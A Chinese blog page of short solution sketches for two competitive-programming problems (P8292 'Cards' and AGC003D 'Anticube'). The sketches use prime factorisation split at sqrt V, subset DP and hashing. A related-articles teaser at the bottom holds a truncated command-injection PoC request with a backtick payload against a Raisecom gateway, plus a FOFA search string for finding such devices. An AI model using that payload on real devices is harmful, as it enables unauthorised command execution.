首页 > 其他分享 >口胡list

口胡list

时间:2024-09-14 19:46:14浏览次数:7  
标签:质数 list sqrt si 全不选 pi

P8292 [省选联考 2022] 卡牌

题:

n张牌si,m轮,给出c个质数pi,要求选一些si乘积为S,令任意\(pi|S\),问方案数。

析:

si质因数分解,按\(\sqrt V\)分大小质数,一个si只会有一个大质数。小质数子集dp,按大质数分组,一个pi若其属于大质数,则对应组必须选一个,容斥减去全不选。

[AGC003D] Anticube

题:

n个数si,从中选最多的数,使任意两个积不为完全立方数。

析:

按照分成指数分类,只有1,2有意义。分大小质数\(\sqrt V\),易得有大质数都自成一派必可选,只用筛选小质数后hash分类全选或全不选。

标签:质数,list,sqrt,si,全不选,pi
From: https://www.cnblogs.com/1n87/p/18414602

相关文章

  • 零基础快速上手HarmonyOS ArkTS开发5---从简单的页面开始2---使用List组件构建列表、G
    接着继续往下学习页面布局的知识。最近发现之前学习这一章节的内容在官方已经被下了,替换成了另外一个案例了(https://developer.huawei.com/consumer/cn/training/course/slightMooc/C101717497398588123):而且整个视频的风格也不一样了,先看看之前的这个美女讲师:再看看现在的:哇塞,档次......
  • 【鸿蒙应用】List、ListItem和ListItemGroup组件
    List组件是一个列表组件,包含一系列相同宽度的列表,适合连续、多行呈现同类数据的,比如图片。ListItem组件是用来展示列表具体项的item;ListItemGroup组件是用来展示列表item分组的,这两个组件必须是配合List组件来使用。比如:interfaceItemType{title:string;projects:s......
  • 使用@Validated校验List集合中数据失效
    我们可以写一个集合实现list,代码如下,在controller类上面不用加@Validated注解,在controller使用自定义ValidableList集合,对list进行封装,就可以对scheduleDtoList做参数校验处理。@Api(tags="xxxx管理")@RestController@RequestMapping("aaa/indicatorDeviceCategoryDe......
  • MySQL show processlist说明
    showprocesslist和showfullprocesslistprocesslist命令的输出结果显示了有哪些线程在运行,不仅可以查看当前所有的连接数,还可以查看当前的连接状态帮助识别出有问题的查询语句等。如果是root帐号,能看到所有用户的当前连接。如果是其他普通帐号,则只能看到自己占用的连接。showp......
  • Arrays.asList方法
    Arrays.asList() 是Java中的一个静态方法,它属于 java.util.Arrays 类。这个方法的作用是将一个数组转换成一个固定大小的列表(List)。需要注意的是,这个列表是由原始数组支持的,因此这个列表的大小是固定的,并且不支持添加或删除元素的操作,因为这样的操作会改变列表的大小,而底......
  • 黑马面试集合(ArrayList, HashMap)篇笔记整理,结尾附Java的集合相关高频面试题及答案
    集合操作数据的特点-算法复杂度分析数据结构算法复杂度分析为什么要进行复杂度分析?指导编写性能更优的代码评判别人写代码的好坏时间复杂度分析时间复杂度分析:来评估代码的执行耗时的假设每行代码的执行耗时一样:1ms分析这段代码一共执行多少行?3n+3......
  • Java 假设有一个对象list 有4列,4和3比较name 如果name不相同则记录4的version值string
    可以使用传统循环或Java8的流(Stream)API来实现这一逻辑。以下是这两种方法的示例代码:1.使用传统循环importjava.util.List;publicclassMain{publicstaticvoidmain(String[]args){List<MyObject>list=...;//初始对象列表String......
  • Java怎么把多个对象的list的数据合并
    1.示例一:创建几个包含Person对象的List,并将它们合并成一个新的List在Java中,将多个对象的List合并通常涉及到遍历这些List并将它们的元素添加到一个新的List中。这里,我将给出一个详细的代码示例,该示例将展示如何将多个包含相同类型对象的List合并成一个List。假设我们有一个简单的......
  • Java怎么把多个对象的list的数据合并
    1.示例一:创建几个包含Person对象的List,并将它们合并成一个新的List在Java中,将多个对象的List合并通常涉及到遍历这些List并将它们的元素添加到一个新的List中。这里,我将给出一个详细的代码示例,该示例将展示如何将多个包含相同类型对象的List合并成一个List。假设我们有一个简单......
  • 某智能网关 list_service_manage存在命令执行漏洞
    漏洞描述瑞斯康达多业务智能网关list_service_manage.php存在未授权命令注入漏洞,攻击者利用可获取服务器权限。资产信息FOFA:body="/images/raisecom/back.gif"漏洞复现pocPOST/vpn/list_service_manage.php?template=%60whoami%3E%2Fwww%2Ftmp%2F1.txt%60HTTP/1.1H......